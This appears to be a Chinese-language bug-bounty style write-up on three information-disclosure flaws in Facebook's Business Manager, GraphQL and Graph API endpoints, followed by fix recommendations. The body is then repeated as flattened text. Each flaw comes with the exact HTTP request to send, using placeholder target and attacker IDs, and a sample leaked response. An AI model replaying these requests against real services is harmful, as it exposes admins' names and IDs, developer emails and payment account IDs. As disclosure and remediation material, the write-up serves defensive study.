挖洞经验 | Facebook接口存在的三个信息泄露漏洞
字数 1152 2025-08-18 11:39:23

Facebook接口信息泄露漏洞分析报告

漏洞概述

本报告详细分析了Facebook接口中存在的三个信息泄露漏洞,这些漏洞允许攻击者获取敏感信息,包括任意Facebook应用的管理员账号、开发者联系人邮箱以及商务用户账号ID。

漏洞1:获取任意Facebook应用的管理员账号

漏洞描述

在Facebook企业管理平台(Business Manager)中,存在一个IDOR(不安全的直接对象引用)漏洞,允许攻击者获取任意Facebook商务应用的管理员账号列表。

技术细节

  • 漏洞类型:IDOR越权漏洞
  • 影响范围:Facebook企业管理平台
  • 漏洞位置/business/aymc_assets/admins/接口

漏洞利用方法

  1. 构造POST请求:
POST /business/aymc_assets/admins/ HTTP/1.1
Host: business.facebook.com
asset_ids[0]=TARGET_APP_ID
business_id=ATTACKER_BUSINESS_ID
  1. 服务器响应示例:
{
  "__ar": 1,
  "payload": {
    "assetAdmins": {
      "__imm": {
        "method": "Map",
        "value": [
          {
            "123456789": {
              "name": "fname lname",
              "id": "123456789",
              "iconURI": "/images/assets_DO_NOT_HARDCODE/facebook_icons/badge-admin_outline_20_fds-black.png",
              "isSelected": true,
              "isSelectionDisabled": false,
              "secondaryInfo": "FACEBOOK APP NAME"
            }
          },
          // 更多管理员账号...
        ]
      }
    }
  }
}

漏洞影响

  • 泄露应用管理员完整列表
  • 获取管理员真实姓名和Facebook ID
  • 可能导致进一步的账户接管攻击

漏洞2:获取任意Facebook应用的开发者联系人邮箱

漏洞描述

通过将Graph API请求转换为GraphQL方式调用,可以绕过权限限制获取任意Facebook应用的开发者联系邮箱。

技术细节

  • 漏洞类型:权限绕过
  • 影响范围:Facebook开发者应用管理界面
  • 漏洞位置:GraphQL接口

漏洞利用方法

  1. 构造GraphQL请求:
POST /graphql
Host: graph.facebook.com
q=nodes(35xxxxx28){name,contact_email}
  1. 服务器响应示例:
{
  "35xxxxx28": {
    "name": "Facebook Application Name",
    "contact_email": "contact@company.com"
  }
}

漏洞影响

  • 泄露应用开发者联系邮箱
  • 可能导致钓鱼攻击或社会工程攻击
  • 暴露企业敏感联系信息

漏洞3:获取Facebook商务用户账号ID

漏洞描述

通过Graph API可以获取与Facebook应用相关的商务账号ID,包括敏感的payment_account_id字段。

技术细节

  • 漏洞类型:信息泄露
  • 影响范围:Facebook商务账号系统
  • 漏洞位置:Graph API接口

漏洞利用方法

  1. 获取应用基本信息:
GET /v3.1/{application-id}/?fields=id,name,business
Host: graph.facebook.com
  1. 获取商务账号详细信息:
GET /v3.1/{business-id}/?fields=primary_page,payment_account_id
Host: graph.facebook.com

漏洞影响

  • 泄露商务账号ID
  • 泄露支付账户ID(敏感隐私信息)
  • 可能导致财务欺诈或账户接管

修复建议

  1. 管理员账号泄露漏洞

    • 实施严格的权限检查
    • 验证请求者是否有权访问目标资产
    • 添加业务逻辑层面的访问控制
  2. 开发者邮箱泄露漏洞

    • 统一Graph API和GraphQL的权限模型
    • 对敏感字段实施额外的访问控制
    • 记录敏感信息的访问日志
  3. 商务账号ID泄露漏洞

    • payment_account_id标记为敏感字段
    • 实施更严格的访问控制策略
    • 对商务账号相关API调用进行审计

总结

这三个漏洞展示了Facebook接口中不同类型的信息泄露风险,从IDOR漏洞到权限绕过再到敏感字段暴露。开发者在设计API时应特别注意:

  • 实施严格的权限验证
  • 统一不同接口的权限模型
  • 对敏感信息进行特殊保护
  • 定期进行安全审计和渗透测试
Facebook接口信息泄露漏洞分析报告 漏洞概述 本报告详细分析了Facebook接口中存在的三个信息泄露漏洞,这些漏洞允许攻击者获取敏感信息,包括任意Facebook应用的管理员账号、开发者联系人邮箱以及商务用户账号ID。 漏洞1:获取任意Facebook应用的管理员账号 漏洞描述 在Facebook企业管理平台(Business Manager)中,存在一个IDOR(不安全的直接对象引用)漏洞,允许攻击者获取任意Facebook商务应用的管理员账号列表。 技术细节 漏洞类型 :IDOR越权漏洞 影响范围 :Facebook企业管理平台 漏洞位置 : /business/aymc_assets/admins/ 接口 漏洞利用方法 构造POST请求: 服务器响应示例: 漏洞影响 泄露应用管理员完整列表 获取管理员真实姓名和Facebook ID 可能导致进一步的账户接管攻击 漏洞2:获取任意Facebook应用的开发者联系人邮箱 漏洞描述 通过将Graph API请求转换为GraphQL方式调用,可以绕过权限限制获取任意Facebook应用的开发者联系邮箱。 技术细节 漏洞类型 :权限绕过 影响范围 :Facebook开发者应用管理界面 漏洞位置 :GraphQL接口 漏洞利用方法 构造GraphQL请求: 服务器响应示例: 漏洞影响 泄露应用开发者联系邮箱 可能导致钓鱼攻击或社会工程攻击 暴露企业敏感联系信息 漏洞3:获取Facebook商务用户账号ID 漏洞描述 通过Graph API可以获取与Facebook应用相关的商务账号ID,包括敏感的 payment_account_id 字段。 技术细节 漏洞类型 :信息泄露 影响范围 :Facebook商务账号系统 漏洞位置 :Graph API接口 漏洞利用方法 获取应用基本信息: 获取商务账号详细信息: 漏洞影响 泄露商务账号ID 泄露支付账户ID(敏感隐私信息) 可能导致财务欺诈或账户接管 修复建议 管理员账号泄露漏洞 : 实施严格的权限检查 验证请求者是否有权访问目标资产 添加业务逻辑层面的访问控制 开发者邮箱泄露漏洞 : 统一Graph API和GraphQL的权限模型 对敏感字段实施额外的访问控制 记录敏感信息的访问日志 商务账号ID泄露漏洞 : 将 payment_account_id 标记为敏感字段 实施更严格的访问控制策略 对商务账号相关API调用进行审计 总结 这三个漏洞展示了Facebook接口中不同类型的信息泄露风险,从IDOR漏洞到权限绕过再到敏感字段暴露。开发者在设计API时应特别注意: 实施严格的权限验证 统一不同接口的权限模型 对敏感信息进行特殊保护 定期进行安全审计和渗透测试